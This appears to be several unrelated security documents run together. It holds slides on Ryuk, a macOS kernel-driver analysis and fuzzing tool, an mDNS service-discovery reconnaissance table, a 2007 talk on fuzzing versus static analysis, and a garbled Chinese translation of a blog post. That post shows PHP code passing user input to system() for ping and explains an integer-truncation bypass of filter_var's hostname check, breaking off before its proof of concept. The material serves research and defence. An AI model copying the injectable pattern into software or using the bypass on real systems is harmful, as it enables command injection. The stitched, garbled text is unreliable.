 IOSurfaceRoot 65 Recover function names (only for iOS) • Many function names can be recovered in this way Original Now 66 Resolve variable types (in IDA pro’s decompiled code) •For local, global and member variables •Method: identify variable types and perform type propagation •How to identify variable types: two ways • 1. Depend on features of function names in C++ • 2. Figure out the creation and iniatialization of variables 67 Resolve variable types (in IDA pro’s decompiled code) •Identify variable types method 1: • After compilation, names of functions in C++ classes will be encoded with the function name and argument types • Decode (demangle) the C++ function names to get the type of function arguments, e.g. __ZN23IOSurfaceRootUserClient4initEP13IOSurfaceRootP4taskP12OSDictionary IOSurfaceRootUserClient::init (IOSurfaceRoot *, task *, OSDictionary *) Decode (Demangle) Variable Types 68 Resolve variable types (in IDA pro’s decompiled code) •Identify variable types method 2: • Figure out the creation and iniatialization of variables • Find invocation of variable allocation, initialization and type casting functions, e.g. Allocation Func: OSMetaClass::allocClassWithName (const char *name) Allocatoin Func: IOSurfaceRootUserClient::MetaClass::alloc ( ) Init Func: IOCommandGate::IOCommandGate (IOCommandGate *) Type Cast: OSMetaClassBase::safeMetaCast (OSMetaClassBase *, OSMetaClass *) 69 Resolve variable types (in IDA pro’s decompiled code) •After identifying variable types, we can perform type propagation along function’s control flow Type of v2 is IOAccelShared2 * Type of v2 is IOGraphicsAccelerator2 * 70 Resolve variable types (in IDA pro’s decompiled code) •After identifying variable types, we can perform type propagation along function’s control flow Propagate v2’s type and affect the return type of function Propagate v2’s type and modify member variable’s type 71 Add cross references: •Purpose: add cross references for member varaibles and virtual functions •Method: examine every sentence in the decompiled code of all functions, check whether member variable or virtual function is used, e.g. 72 Add cross references: •References are added from the usage to members in the class structures and to virtual function’s implementation 73 Now, driver’s decompiled code in IDA pro looks like •Looks more like source code, right? 74 But, for manual review in IDA pro’s decompiled code, though virtual function calls are recognized and identified with the help of above features, researchers still need more manual operation to examine the function’s implementation. e.g. Manual operation: Step 1: Copy name of the called function Step 2: Search the function name 75 UI support •Extend UI operation that can be performed in IDA pro’s decompiled code •Method: • Register action to double-click events • Register action to key events • Register action to name change events • Register action to type change events 76 UI support •Extend UI operation that can be performed in IDA pro’s decompiled code, e.g. jump to virtual function’s implementation by just a double click •Method: • Register action to double-click events • Register action to key events • Register action to name change events • Register action to type change events 77 UI support 78 Generate call graph •For further inter-procedure analysis, call graph is the prerequisite •After variable types are resolved, targets of virtual function calls can be recognized •Then we can build call graph for all functions 79 Now, everything is ready, you can do your own manual analysis and static analysis 80 Ryuk-Fuzz: combine fuzzing 
 with static analysis 81 One use case of Ryuk: Ryuk-Fuzz •Idea: Guide fuzzing of drivers with Ryuk’s static analysis •Implementation: Integrate Ryuk with the state-of-art Apple kernel driver fuzzer, PassiveFuzzFrameworkOSX •Method: • Step 1: Perform data flow analysis in Ryuk to infer drivers’ required user input formats • Step 2: During fuzzing, use the inferred input formats to guide input generation and improve fuzzing efficiency 82 Ryuk-Fuzz Step 1: Static data flow analysis to infer user input formats Offset:0 Size: whole Offset:24 Size: 1 Offset:0 Size: 4 Offset:68 Size: 4 83 Ryuk-Fuzz Step 1: Static data flow analysis to infer user input formats Condition: offset 24, size: 1 should not be equal to 6 or 1 Condition: offset 0, size: 4 last 4 bits should not be equal to 0 84 Ryuk-Fuzz Step 2: Guide fuzzing •BUT ! PassiveFuzzFrameworkOSX has implementation errors •Error 1: Wrong buffer size for reading the kernel header (affect macOS 10.12 and later) Error in PassiveFuzzFrameworkOSX 85 Ryuk-Fuzz Step 2: Guide fuzzing •Error 1: Wrong buffer size for reading the kernel header (affect macOS 10.12 and later) PassiveFuzzFrameworkOSX assumes 
 kernel header is smaller than a page 86 Ryuk-Fuzz Step 2: Guide fuzzing •Cause of Error 1: Wrong buffer size for reading the kernel header (affect macOS 10.12 and later) Before 10.12 Header size is 
 smaller than 1 page After 10.12 Header size is 
 larger than 1 page 87 Ryuk-Fuzz Step 2: Guide fuzzing •Solution to Error 1: enlarge the allocation size 2 * PAGE_SIZE_64 88 Ryuk-Fuzz Step 2: Guide fuzzing •Error still exists in PassiveFuzzFrameworkOSX •Error 2: Wrong way to infer kernel base at runtime 
 (affect 10.13.2 and after) PassiveFuzzFrameworkOSX calcuate the address of interrupt handler 
 and search backwards for mach-o header ( i.e. the kernel base address ) 89 Ryuk-Fuzz Step 2: Guide fuzzing •Cause of Error 2: In current macOS, interrupt handler is not in kernel text section now. As a result, we can not find the kernel base by searching backwards from the interrupt handler Kernel text start
 (kernel base) Kernel text section Address of 
 interrupt handler Before macOS 10.13.2 Kernel text start
 (kernel base) Kernel text section Address of 
 interrupt handler After macOS 10.13.2 Some other section 90 Ryuk-Fuzz Step 2: Guide fuzzing •Why the interrupt handler is not in kernel text now? • The side effect of Apple’s patch to mitigate Meltdown vulnerability • Apple splits user and kernel space, in which interrupt handler entries are not in kernel text space now • As a result, kernel text base can not be inferred by the interrupt handler 91 Ryuk-Fuzz Step 2: Guide fuzzing •Solution to Error 2: Search backwards from the address of some other address, e.g. address of _lck_mtx_lock Get the address of _lck_mtx_lock 92 Conclusions 93 Vulnerabilities that can be exploited for privilege escalation on macOS Technique of exploiting use-after-free vulnerability in the kernel Ryuk: a new static analysis tool assisting manually reverse engineering and static analysis Ryuk-Fuzz: guide fuzzing of drivers with static analysis results 94 95 Q&A
pdf
Observed Answers Record Type Usage Sources Ports _afpovertcp._tcp.local PTR Hosts (Apple) N/A _axis-video._tcp.local PTR Cameras (Axis) N/A _blackarmor4dconfig._tcp.local PTR Network Attached Storage (Seagate) N/A _blackarmor4dinfo._udp.local PTR Network Attached Storage (Seagate) N/A _ftp._tcp.local PTR Printers (HP) N/A _http._tcp.local PTR Printers (HP), Network Attached Storage (Seagate), Cameras (Axis) N/A _home-sharing._tcp.local PTR Hosts (Windows(7)) N/A _ipp._tcp.local PTR Printers (HP) N/A _libvirt._tcp.local PTR Hosts (Linux) N/A _net-assistant._udp.local PTR Hosts (Apple) N/A _odisk._tcp.local PTR Hosts (Apple) N/A _pdl-datastream._tcp.local PTR Printers (HP) N/A _printer._tcp.local PTR Printers (HP) N/A _rfb._tcp.local PTR Hosts (Apple) N/A _rtsp._tcp.local PTR Cameras (Axis) N/A _services._dns-sd._udp.local PTR Hosts (Apple), Hosts (Linux) N/A _sftp-ssh._tcp.local PTR Hosts (Apple), Hosts (Linux) N/A _smb._tcp.local PTR Network Attached Storage (Seagate) N/A _ssh._tcp.local PTR Hosts (Apple), Hosts (Linux) N/A _telnet._tcp.local PTR Printers (HP) N/A _udisks-ssh._tcp.local PTR Hosts (Linux) N/A _workstation._tcp.local PTR Hosts (Linux) N/A By Type Observed Answers Record Type Usage Sources Ports HostName ._afpovertcp._tcp.local SRV Hosts (Apple) 548 HostName ._axis-video._tcp.local SRV Cameras (Axis) 80 HostName ._blackarmor4dconfig._tcp.local SRV Network Attached Storage (Seagate) 4301 HostName ._blackarmor4dinfo._udp.local SRV Network Attached Storage (Seagate) 4301 HostName ._ftp._tcp.local SRV Printers (HP) 21 HostName ._http._tcp.local SRV Printers (HP), Network Attached Storage (Seagate), Cameras (Axis) 80 SharePath ._home-sharing._tcp.local SRV Hosts (Windows(7)) 3689 HostName ._ipp_tcp.local SRV Printers (HP) 631 Virtualization Host HostName ._libvirt._tcp.local SRV Hosts (Linux) 0 HostName._ migo._tcp.local SRV Kiosks (?) 5353 HostName ._net-assistant._udp.local SRV Hosts (Apple) 3283 HostName ._odisk._tcp.local SRV Hosts (Apple) 49152 HostName ._pdl-datastream._tcp.local SRV Printers (HP) 9100 HostName ._printer._tcp.local SRV Printers (HP) 515 HostName ._rfb._tcp.local SRV Hosts (Apple) 5900 HostName ._rtsp._tcp.local SRV Cameras (Axis) 554 HostName ._sftp-ssh._tcp.local SRV Hosts (Apple), Hosts (Linux) 22 HostName ._smb._tcp.local SRV Network Attached Storage (Seagate) 445 HostName ._ssh._tcp.local SRV Hosts (Apple), Hosts (Linux) 22 HostName ._telnet._tcp.local SRV Printers (HP) 23 HostName ._udisks-ssh._tcp.local SRV Hosts (Linux) 22 HostName [Mac Address] ._workstation._tcp.local SRV Hosts (Linux) 9 By Type Observed Answers Record Type Usage Sources Ports HostName ._afpovertcp._tcp.local TXT Hosts (Apple) N/A HostName ._axis-video._tcp.local TXT Cameras (Axis) N/A HostName ._blackarmor4dconfig._tcp.local TXT Network Attached Storage (Seagate) N/A Additional NAS vendor, model, and version Administrative interface HostName ._blackarmor4dinfo._udp.local TXT Network Attached Storage (Seagate) N/A Additional NAS vendor, model, and version Administrative interface HostName ._device-info._tcp.local TXT Hosts (Apple) N/A Additional Operating System make, and model HostName ._ftp._tcp.local TXT Printers (HP) N/A HostName ._http._tcp.local TXT Printers (HP), Network Attached Storage (Seagate), Cameras (Axis) N/A SharePath ._home-sharing._tcp.local TXT Hosts (Windows(7)) N/A Additional Machine name and id Version information By Type Observed Answers Record Type Usage Sources Ports HostName ._ipp_tcp.local TXT Printers (HP) N/A Additional Printer make, model, and engine Administrative interface Notes (User, Location) Queue Information HostName._ migo._tcp.local TXT Kiosks (?) N/A HostName ._net-assistant._udp.local TXT Hosts (Apple) N/A HostName .odisk._tcp.local TXT Hosts (Apple) N/A Additional Service Configuration HostName ._pdl-datastream._tcp.local TXT Printers (HP) N/A Additional Printer make, model, and engine Administrative interface Notes (User, Location) Queue Information By Type Observed Answers Record Type Usage Sources Ports HostName ._printer._tcp.local TXT Printers (HP) N/A Additional Printer make, model, and engine Administrative interface Notes (User, Location) Queue Information HostName ._rfb._tcp.local TXT Hosts (Apple) N/A HostName ._rtsp._tcp.local TXT Cameras (Axis) N/A HostName ._sftp-ssh._tcp.local TXT Hosts (Apple), Hosts (Linux) N/A HostName ._smb._tcp.local TXT Network Attached Storage (Seagate) N/A Additional Appliance make, and model Administrative interface HostName ._ssh._tcp.local TXT Hosts (Apple), Hosts (Linux) N/A HostName ._telnet._tcp.local TXT Printers (HP) N/A HostName ._udisks-ssh._tcp.local TXT Hosts (Linux) N/A HostName .local A Hosts (All), Network Attached Storage (All), Printers (All), Cameras (All) N/A HostName .local AAAA Hosts (All), Network Attached Storage (All), Printers (All), Cameras (All) N/A HostName .local HINFO Hosts (Linux) N/A By Type Asked _sleep-proxy._udp.local PTR _touch-able._tcp.local SRV By Type Observed Answers Record Type Usage Sources Ports _afpovertcp._tcp.local PTR Hosts (Apple) N/A HostName ._afpovertcp._tcp.local SRV Hosts (Apple) 548 HostName ._afpovertcp._tcp.local TXT Hosts (Apple) N/A _axis-video._tcp.local PTR Cameras (Axis) N/A HostName ._axis-video._tcp.local SRV Cameras (Axis) 80 HostName ._axis-video._tcp.local TXT Cameras (Axis) N/A _blackarmor4dconfig._tcp.local PTR Network Attached Storage (Seagate) N/A HostName ._blackarmor4dconfig._tcp.local SRV Network Attached Storage (Seagate) 4301 HostName ._blackarmor4dconfig._tcp.local TXT Network Attached Storage (Seagate) N/A Additional NAS vendor, model, and version Administrative interface _blackarmor4dinfo._udp.local PTR Network Attached Storage (Seagate) N/A HostName ._blackarmor4dinfo._udp.local SRV Network Attached Storage (Seagate) 4301 HostName ._blackarmor4dinfo._udp.local TXT Network Attached Storage (Seagate) N/A Additional NAS vendor, model, and version Administrative interface HostName ._device-info._tcp.local TXT Hosts (Apple) N/A Additional Operating System make, and model _ftp._tcp.local PTR Printers (HP) N/A By Service Observed Answers Record Type Usage Sources Ports HostName ._ftp._tcp.local SRV Printers (HP) 21 HostName ._ftp._tcp.local TXT Printers (HP) N/A _http._tcp.local PTR Printers (HP), Network Attached Storage (Seagate), Cameras (Axis) N/A HostName ._http._tcp.local SRV Printers (HP), Network Attached Storage (Seagate), Cameras (Axis) 80 HostName ._http._tcp.local TXT Printers (HP), Network Attached Storage (Seagate), Cameras (Axis) N/A _home-sharing._tcp.local PTR Hosts (Windows(7)) N/A SharePath ._home-sharing._tcp.local SRV Hosts (Windows(7)) 3689 SharePath ._home-sharing._tcp.local TXT Hosts (Windows(7)) N/A Additional Machine name and id Version information _ipp._tcp.local PTR Printers (HP) N/A HostName ._ipp_tcp.local SRV Printers (HP) 631 HostName ._ipp_tcp.local TXT Printers (HP) N/A Additional Printer make, model, and engine Administrative interface Notes (User, Location) Queue Information _libvirt._tcp.local PTR Hosts (Linux) N/A Virtualization Host HostName ._libvirt._tcp.local SRV Hosts (Linux) 0 HostName._ migo._tcp.local SRV Kiosks (?) 5353 HostName._ migo._tcp.local TXT Kiosks (?) N/A _net-assistant._udp.local PTR Hosts (Apple) N/A By Service Observed Answers Record Type Usage Sources Ports HostName ._net-assistant._udp.local SRV Hosts (Apple) 3283 HostName ._net-assistant._udp.local TXT Hosts (Apple) N/A _odisk._tcp.local PTR Hosts (Apple) N/A HostName ._odisk._tcp.local SRV Hosts (Apple) 49152 HostName .odisk._tcp.local TXT Hosts (Apple) N/A Additional Service Configuration _pdl-datastream._tcp.local PTR Printers (HP) N/A HostName ._pdl-datastream._tcp.local SRV Printers (HP) 9100 HostName ._pdl-datastream._tcp.local TXT Printers (HP) N/A Additional Printer make, model, and engine Administrative interface Notes (User, Location) Queue Information _printer._tcp.local PTR Printers (HP) N/A HostName ._printer._tcp.local SRV Printers (HP) 515 HostName ._printer._tcp.local TXT Printers (HP) N/A Additional Printer make, model, and engine Administrative interface Notes (User, Location) Queue Information By Service Observed Answers Record Type Usage Sources Ports _rfb._tcp.local PTR Hosts (Apple) N/A HostName ._rfb._tcp.local SRV Hosts (Apple) 5900 HostName ._rfb._tcp.local TXT Hosts (Apple) N/A _rtsp._tcp.local PTR Cameras (Axis) N/A HostName ._rtsp._tcp.local SRV Cameras (Axis) 554 HostName ._rtsp._tcp.local TXT Cameras (Axis) N/A _services._dns-sd._udp.local PTR Hosts (Apple), Hosts (Linux) N/A _sftp-ssh._tcp.local PTR Hosts (Apple), Hosts (Linux) N/A HostName ._sftp-ssh._tcp.local SRV Hosts (Apple), Hosts (Linux) 22 HostName ._sftp-ssh._tcp.local TXT Hosts (Apple), Hosts (Linux) N/A _smb._tcp.local PTR Network Attached Storage (Seagate) N/A HostName ._smb._tcp.local SRV Network Attached Storage (Seagate) 445 HostName ._smb._tcp.local TXT Network Attached Storage (Seagate) N/A Additional Appliance make, and model Administrative interface _ssh._tcp.local PTR Hosts (Apple), Hosts (Linux) N/A HostName ._ssh._tcp.local SRV Hosts (Apple), Hosts (Linux) 22 HostName ._ssh._tcp.local TXT Hosts (Apple), Hosts (Linux) N/A _telnet._tcp.local PTR Printers (HP) N/A HostName ._telnet._tcp.local SRV Printers (HP) 23 HostName ._telnet._tcp.local TXT Printers (HP) N/A _udisks-ssh._tcp.local PTR Hosts (Linux) N/A HostName ._udisks-ssh._tcp.local SRV Hosts (Linux) 22 HostName ._udisks-ssh._tcp.local TXT Hosts (Linux) N/A _workstation._tcp.local PTR Hosts (Linux) N/A By Service Observed Answers Record Type Usage Sources Ports HostName [Mac Address] ._workstation._tcp.local SRV Hosts (Linux) 9 HostName .local A Hosts (All), Network Attached Storage (All), Printers (All), Cameras (All) N/A HostName .local AAAA Hosts (All), Network Attached Storage (All), Printers (All), Cameras (All) N/A HostName .local HINFO Hosts (Linux) N/A By Service Asked _sleep-proxy._udp.local PTR _touch-able._tcp.local SRV By Service
pdf
How I Learned to Stop Fuzzing and Find More Bugs Jacob West Fortify Software August 3-5, 2007 Las Vegas Agenda Introduction to fuzzing What we mean by fuzzing Challenges with fuzzing Introduction to static analysis How static analysis works Examples of bugs static analysis is good at finding Untapped potential: Customization Experiment Fuzzing versus static analysis Conclusion What is Fuzzing? Encompasses runtime testing that attempts to induce faults in software systems by inputting random or semi-random values Introduced by Barton Miller at the University of Wisconsin, Madison in 1990 (cs.wisc.edu/~bart/fuzz/) Examples of Tools We’re talking about tools such as: SPIKE www.immunitysec.com/resources-freesoftware.shtml Peach http://peachfuzz.sourceforge.net PROTOS http://www.ee.oulu.fi/research/ouspg/protos/ … and many more But not specialized black box scanning tools: Cenzic SPI Dynamics (except SPI Fuzzer) Watchfire The Inventor’s Thoughts on Fuzzing 1990: “[Fuzzing] is not a substitute for a formal verification or testing procedures, but rather an inexpensive mechanism to identify bugs…” 1995: “While [fuzzing] is effective in finding real bugs in real programs, we are not proposing it as a replacement for systematic and formal testing.” 2000: “Simple fuzz testing does not replace more extensive formal testing procedures.” - Barton Miller Woulda, Coulda, Shoulda SC-L Digest, Vol 3, Issue 118: “I would assume that "smart" fuzzing could have lots of manipulations of the HH:mm:ss.f format, so this might be findable using black box testing.” - Steve Christey Woulda, Coulda, Shoulda http://blogs.msdn.com/sdl “It turns out none of the .ANI fuzz templates had a second “anih” record. This is now addressed, and we are continually enhancing our fuzzing tools to make sure they add manipulations that duplicate arbitrary object elements better.” - Michael Howard How Fuzzing Works Identify sources of input to a program Permute or generate pseudorandom input Use an oracle to monitor for failures Record the input and state that generate faults Input Sources: File Formats 1. Identify all valid file formats (e.g. JPG, TIFF, PDF, DOC, XLS) 2. Collect a library of valid files 3. Malform a file 4. Cause the program to consume the file and observe its execution for problems Input Sources: Protocols Create bogus messages (e.g. SMPT, TCP/IP, RPC, SOAP, HTTP) Record-fuzz-replay 1. Run a sniffer 2. Collect a few thousand messages 3. Fuzz the messages 4. Replay the fuzzed messages Dumb Fuzzing Dumb fuzzing: Modify data randomly Most input will be invalid Makes good error handling test cases Takes a long time to enumerate valid test cases May test the validation logic of high-level protocols instead of the underlying application Smart Fuzzing Smart fuzzing: Aware of data structure Altering content size Replacing null-terminated strings Altering numeric values or flipping signs 0, 2^n +/- 1 Adding invalid headers, altering header values, duplicating headers, … Challenging Questions with Fuzzing Microsoft SDL mandates that you run 100,000 iterations per file format/parser. If you find a bug, you reset to 0 and start running another 100,000 with a new seed. Why? Does this get you what you need? How many input sources were missed? How much of the program was tested? How long did the tests take to run? How good were the tests? Challenge: Nebulous File Formats / Protocols No problem for a standard Web application What about proprietary interfaces? Web Service APIs Network servers Thick client software Difficult to enumerate input sources to fuzz Even harder to generate valid input Requires customization Tool must be tuned to specific input sources and formats Challenge: Program Semantics / Reachability Example: if (!strcmp(input1, “static_string”) { strcpy(buffer2, input2); } Need to provide value of input1 equal to “static_string” and large value of input2 Requires N*M random inputs to reach bug guarded by two-variable conditions May be hard to satisfy some conditionals Requires customization Number of input values needed must be narrowed Shallow Bugs versus Deep Bugs Fuzzing focuses on shallow bugs ... ... ... T F if (y == 5) { gets(buf1); ... if (x == 3) { gets(buf0); ... if (z == 7) { gets(buf2); ... T F F T ... foo(int x, int y, int z) { if (x == 3) { //p = 1/232 gets(buf0); if (y == 5) { //p = p * 1/232 gets(buf1); if (z == 7) { //p = p * 1/232 gets(buf2); } } } } # of random values of x, y and z to reach each state: gets(buf0) = 4,294,967,296 gets(buf1) = 18,446,744,073,709,551,616 gets(buf2) = 79,228,162,514,264,337,593,629,020,928 ... ... ... T F if (y == 5) { gets(buf1); ... if (x == 3) { gets(buf0); ... if (z == 7) { gets(buf2); ... T F F T ... Runs Necessary to Reach State Z Each conditional adds exponentially to the number of input permutations required to hit a bug Running time for the fuzz tests increases accordingly Example: Vulnerabilities by Conditional Depth wu-ftpd 2.6.0–Buffer Overflow–extensions.c: strcpy(curptr->dirname, cwd); Conditional depth: 4 wu-ftpd 2.6.0–format string–ftpd.c: vsnprintf(buf + (n ? 4 : 0), n ? sizeof(buf)-4 : sizeof(buf), fmt, ap); Conditional depth: 3 OFBiz 1.5–XSS–CommonEvents.java: out.println(responseString); Conditional depth: 4 Challenge: Difficult-to-Reach States Airline booking system – overbooked flight Difficult for a fuzzer to induce Example: if (flight.seatsAvailable() == 0) { // echo user input to error page – XSS vulnerability ... out.println(“Flight ” + request.getParameter(“flightNumber”) + “ is overbooked. Please search again.”); ... } Challenge: Identifying Errors Error reporting conventions differ Good design guidelines often require programs to mask errors and error details Requires customization Better oracle Binary instrumentation … Finding Bugs with Fuzzing Easy: Shallow cross-site scripting vulnerability (shallowest bugs never leave the client à la JavaScript) Hard: Many nested conditionals that checks for hard-to-reach states like the overbooked flight Spectrum of ease of detection with fuzzing: Fuzzing Summary Advantages Requires least effort to find a bug Verifiable and reproducible at runtime Scalable to programs that use the same file format or protocol Disadvantages Very costly to achieve completeness Increasing coverage increases runtime (sometimes exponentially) May miss bugs due to inadequate oracle Prehistoric Static Analysis Tools Flawfinder ITS4 RATS (+) Good Help security experts audit code Repository for known-bad coding practices (-) Bad NOT BUG FINDERS Not helpful without security expertise Flawfinder ITS4 RATS Prehistoric Static Analysis Tools Misconceptions Prevail Fuzzing, Page 4: Low priority int main(int argc, char** argv) { char buffer[10]; strcpy(buf1, “test”); } High priority int main(int argc, char** argv) { char buffer[10]; strcpy(buf1, argv[1]); } Static Analysis Is Good For Security Fast compared to manual review Fast compared to testing Complete, consistent coverage Brings security knowledge with it Makes security review process easier for non-experts Useful for all kinds of code, not just Web applications Static Analysis: No Silver Bullet Human limitations Requires access to code User must understand code Tool limitations Does not understand architecture Does not understand application semantics Does not understand social context A Peek Inside a Static Analysis Tool Modeling Rules Security Properties Front End src System Model Analyzer Analyzer Analyzer Results Viewer Parsing Language support One language/parser is straightforward Lots of combinations is harder Could analyze compiled code… Everybody has the binary No need to guess how the compiler works No need for rules …but Decompilation can be difficult Loss of context hurts Want to report line numbers Analysis / Rules: Structural Identify bugs in the program's structure Example: calls to gets() Structural rule: FunctionCall: function is [name == "gets"] Analysis / Rules: Structural Identify bugs in the program's structure Example: memory leaks caused by realloc() buf = realloc(buf, 256); Structural rule: FunctionCall c1: ( c1.function is [name == "realloc"] and c1 in [AssignmentStatement: rhs is c1 and lhs == c1.arguments[0] ] ) Analysis / Rules: Dataflow Source Rule Following interesting values through the program Example: Command injection vulnerability Source rule: Function: getInputFromNetwork() Postcondition: return value is tainted = getInputFromNetwork(); copyBuffer( , ); exec( ); buff buff newBuff newBuff Analysis / Rules: Dataflow Pass-Through Rule Following interesting values through the program Example: Command injection vulnerability Pass-through rule: Function: copyBuffer() Postcondition: if the second argument is tainted, then the first argument becomes tainted = getInputFromNetwork(); copyBuffer( , ); exec( ); buff buff newBuff newBuff Analysis / Rules: Dataflow Sink Rule = getInputFromNetwork(); copyBuffer( , ); exec( ); buff buff newBuff newBuff Following interesting values through the program Example: Command injection vulnerability Sink rule: Function: exec() Precondition: the first argument must not be tainted Analysis / Rules: Control Flow Look for dangerous sequences Example: Double-free free(x) free(x) initial state freed error start (other operations) (other operations) while ((node = *ref) != NULL) { *ref = node->next; free(node); if (!unchain(ref)) { break; } } if (node != 0) { free(node); return UNCHAIN_FAIL; } Analysis / Rules: Control Flow Look for dangerous sequences Example: Double-free free(x) free(x) initial state freed error start (other operations) (other operations) while ((node = *ref) != NULL) { *ref = node->next; free(node); if (!unchain(ref)) { break; } } if (node != 0) { free(node); return UNCHAIN_FAIL; } Analysis / Rules: Control Flow Look for dangerous sequences Example: Double-free free(x) free(x) initial state freed error start (other operations) (other operations) while ((node = *ref) != NULL) { *ref = node->next; free(node); if (!unchain(ref)) { break; } } if (node != 0) { free(node); return UNCHAIN_FAIL; } Only Two Ways to Go Wrong False positives Incomplete/inaccurate model Conservative analysis Missing rules False negatives Incomplete/inaccurate model “Forgiving” analysis Missing rules The tool that cried “wolf!” Missing a detail can kill. Developer Auditor Untapped Potential: Customization Improve tool understanding of the program Model the behavior of third-party libraries Describe program semantics Identify program-specific vulnerabilities Call out targets for manual review Enforce specific coding standards Find vulnerabilities in custom interfaces Scope vs. Performance Experiment Select project: open source mail daemon qwik-smtpd version .3 Contains multiple known vulnerabilities Select tools: fuzzing and static analysis Fuzzing: @stake SMTP Fuzz 0.9.16 Customized for SMTP protocol Static analysis: Fortify The one we have sitting around Collect data: Run fuzzing tool on SMTP protocol Run static analysis tool on C source code What We Found Identified four remotely exploitable bugs Two buffer overflows Two format string vulnerabilities And numerous other locally exploitable vulnerabilities, including: Buffer overflows Format string vulnerabilities Command injection Memory errors Resource leaks … Results Fuzzing found both remotely exploitable format string bugs, but missed both remotely exploitable buffer overflows Static analysis: Found all four vulnerabilities Format String 1 Format String 2 Buffer Overflow 1 Buffer Overflow 2 Format String 1 Format String 2 Buffer Overflow 1 Buffer Overflow 2 Fuzzing Static Analysis Conclusions Fuzzing… Found exploitable vulnerabilities fast Missed critical bugs within its reach Missed vulnerabilities from non-SMTP sources Would miss bugs behind complex conditions (bugs hidden behind multiple header conditions) Advantages of Fuzzing over Static Analysis Less involved Does not require access to or understanding of code Access to context Does not requires customization to understand program semantics and context The last step Produces a demonstrable exploit or test case without further human efforts Advantages of Static Analysis Over Fuzzing Thoroughness Considers every source of input Considers every path through the program Speed Doesn’t require running the code Customization has almost no impact on performance Visibility Identifies vulnerabilities hidden by error handling Finds vulnerabilities evidenced through that may be hidden Summary Static analysis is spot-on for security Important attributes Language support Analysis techniques Rule set Performance Results management Customization Describe program semantics Model program context <end> PDF of talk will be available here: http://www.fortify.com/presentations Send me email! Jacob West <jacob@fortify.com> Secure Programming with Static Analysis
pdf
2022/3/28 10:36 PHP filter_var 恶作剧 :: pwning.systems https://pwning.systems/posts/php_filter_var_shenanigans/ 1/7 222326 乔迪·佐默 很可能我们都⻅过可以防⽌我们遇到漏洞的 PHP 过滤器。在这篇博⽂中,我将通过在过滤器本 身中查找错误以找到错误来引导您完成绕过过滤器的思考过程! 假设我们有以下代码,它将⼀些⽤户输⼊传递给 filter_var() 并使⽤ FILTER_VALIDATE_DOMAIN or FILTER FLAG HOSTNAME 标志。这增加了根据每个主机原理 验证主机名的功能(这意味着它们必须以字⺟数字字符开头,并且在整个⻓度中必须仅包含字⺟ 数字或连字符)。成功完成此检查后,⽤户输⼊将在系统命令中使⽤(因此可能会引⼊命令注⼊ 漏洞)。⽣成的代码将类似于以下内容。 通常,在这种情况下不可能触发此命令注⼊。因为我们⽤户的输⼊只能包含字⺟数字字符或连字 符,所以在这种情况下是完全安全的。 然⽽,底层代码很容易受到攻击,当我们详细检查它以了解 FILTER_VALIDATE_DOMAIN 函数 如何与 FILTER_FLAG_HOSTNAME 标志⼀起⼯作时,我们将看到这⼀点。让我们来看看它是如 何⼯作的! PHP filter_var 恶作剧 # PHP   # filter_var   #绕过  <?php $userinput = "YOUR_USER_INPUT"; $command = "ping -c5 "; if (filter_var($userinput, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME { system($command . $userinput, $retval); } ?> 2022/3/28 10:36 PHP filter_var 恶作剧 :: pwning.systems https://pwning.systems/posts/php_filter_var_shenanigans/ 2/7 ⼀旦我们 filter_var() ⽤ FILTER_VALIDATE_DOMAIN 标志调⽤,函数 php_filter_validate_domain() 就会被执⾏。让我们仔细看看这意味着什么。 本质上,它的作⽤是获取指向 $userinput 变量值的指针并将其作为第⼀个参数 _php_filter_validate_domain 传递给 ,并将 的输出 strlen($userinput) 作为第⼆ 个参数传递给同⼀个函数。需要注意的是, strlen() 在这种情况下,该函数返回⼀个⽆符号 整数。 现在让我们看⼀下 _php_filter_validate_domain . 在这种情况下,该函数的第⼆个参数是 int len ,这表明它是⼀个有符号整数,⽽我们将 的 输出作为第⼆个参数传递给 strlen 它,这表明它是⼀个⽆符号整数 size_t 。你看到 我要去哪⾥了吗? 为了理解这⼀点,我们必须⾸先了解整数是如何起作⽤的。对于数值变量,它们可以是有符号的 也可以是⽆符号的,这取决于它们表示正数和负数的能⼒。有符号变量和⽆符号变量的区别在 于,有符号变量既可以表示正数也可以表示负数,⽽⽆符号变量只能表示⾮负数。 例如,如果我们假设体系结构是 32 位,那么由于它是⽆符号的,⽆符号整数的值的范围可以 从 0 to 4294967295 到,但由于它是有符号的,int 的值只能在从 -2147483648 to的范 围内 2147483648 。结果是任何⼤于的值 2147483647 都会导致传递给函数的负数。 但是,如果我们检查该 _php_filter_validate_domain 函数,我们会注意到该变量 l 的类 型为 size_t ,并且该值 len 已分配给该变量。 void php_filter_validate_domain(PHP_INPUT_FILTER_PARAM_DECL) /* {{{ */ { if (!_php_filter_validate_domain(Z_STRVAL_P(value), Z_STRLEN_P(value RETURN_VALIDATION_FAILED } } /* }}} */ static int _php_filter_validate_domain(char * domain, int len, zend_l 2022/3/28 10:36 PHP filter_var 恶作剧 :: pwning.systems https://pwning.systems/posts/php_filter_var_shenanigans/ 3/7 该函数将 len 其作为 int (有符号),然后将其分配 l 给 size_t . 这在上⾯得到了证 明。如果我们传递⼀个⻓度很⻓的字符串,例如 4294967296 ,那么两者的值 len 和 l 将 是 0 's 因为将该值作为 int 传递将换⾏到 0 。这意味着start 将具有与end s 相 同的地址。 e 我们看到 if t end1 is . then e 是⽤字符 写的 . ,就好像我们要向函数传递 ⼀个⾮常⼤的数字⼀样。示例:如果我们有 4294967250 ,那么变量 l 将换成 18446744073709551570 ,这意味着我们可以编写 . 越界 OOB 成功的漏洞利⽤将⾮常困 难。结果,我决定不⾛这条路。之后,我们可以看到它被检查是否 l ⼤于 253(如果我们 可以强制它变为 0 ,这不是问题,对吧?)。 static int _php_filter_validate_domain(char * domain, int len, zend_lon { char *e, *s, *t; size_t l; int hostname = flags & FILTER_FLAG_HOSTNAME; unsigned char i = 1; s = domain; l = len; e = domain + l; t = e - 1; /* Ignore trailing dot */ if (*t == '.') { e = t; l--; } /* The total length cannot exceed 253 characters (final dot not incl if (l > 253) { return 0; } 2022/3/28 10:36 PHP filter_var 恶作剧 :: pwning.systems https://pwning.systems/posts/php_filter_var_shenanigans/ 4/7 上⾯显示的代码是检查主机名是否仅包含字⺟数字字符或连字符(⽽不是其他字符)的实际代 码。正如我们所看到的,这只发⽣在 s ⼩于 e 最初的情况下。 简单来说:如果使⽤ PHP 的 filter_var 函数检查主机名,并且传递给函数的值太⻓,然后 将参数 l 包装为零,则不会执⾏检查。这会导致主机名检查被完全绕过。 让我们使⽤⼀个简单的 PoC 来演示这⼀点! /* First char must be alphanumeric */ if(*s == '.' || (hostname && 